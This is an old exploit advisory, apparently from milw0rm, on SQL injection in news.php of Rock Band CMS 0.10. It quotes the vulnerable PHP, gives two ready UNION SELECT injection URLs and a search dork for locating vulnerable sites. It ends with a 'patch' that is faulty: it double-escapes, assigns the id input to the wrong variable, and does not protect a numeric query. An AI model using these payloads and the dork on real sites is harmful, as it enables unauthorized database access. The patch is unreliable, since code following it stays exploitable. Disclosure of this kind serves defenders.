Rock Band CMS 0.10 - news.php Multiple SQL Injections (1)

#################################################################
#	 _______ _________ _       				#
#       (  ____ )\__   __/( (    /|				#
#	| (    )|   ) (   |  \  ( |				#
#	| (____)|   | |   |   \ | |				#
#	|     __)   | |   | (\ \) |				#
#	| (\ (      | |   | | \   |				#
#	| ) \ \__   | |   | )  \  |				#
#	|/   \__/   )_(   |/    )_)				#
#       	http://root-the.net 				#
#################################################################
#[+] BandCMS v0.10 news.php Milti SQL Injection Vulnerabilities	#
#[+] Vendor : http://rockband.sourceforge.net/			#
#[+] Exploit : Affix <[email protected]>			#
#[+] Dork : "Powered by Rock Band CMS 0.10"			#
#[+] Greetz : Mad-Hatter, Atomiku, RTN, Terogen, SCD, Boxhead,  #
#	      	  str0ke, tekto, raT, uNkn0wn.ws, ryan1918.com	#
#################################################################
#	BandCMS v0.10 Has an SQL Injection in news.php 		#
#								#
#	Code :							#
#	 if(isset($_GET['year'])){				#
#		$year = $_GET['year'];				#
#		$smarty->assign('news', $db->getNewsYear($year));
#	}							#
#								#
#								#
#	Exploit :						#
#	http://site.com/news.php?year=-2004+UNION+SELECT+1,2,3,4--
#								#
#								#
#	Code :							#
#	    $id = $_GET['id'];					#
#	    $newsItem = $db->getNewsItem($id);			#
#	    $smarty->assign('news', $newsItem);			#
#								#
#	Exploit :						#
#	http://site.com/news.php?id=-1+UNION+SELECT+1,2,3,4--	#
#								#
#								#
#	Patch :							#
#	Since Im a Nice guy here is a change both variables as	#
#	follows							#
#								#
#  $year = addslashes(mysql_real_escape_string($_GET['year']));	#
#								#
#	$year = addslashes(mysql_real_escape_string($_GET['id']));
#								#
#################################################################

# milw0rm.com [2009-08-31]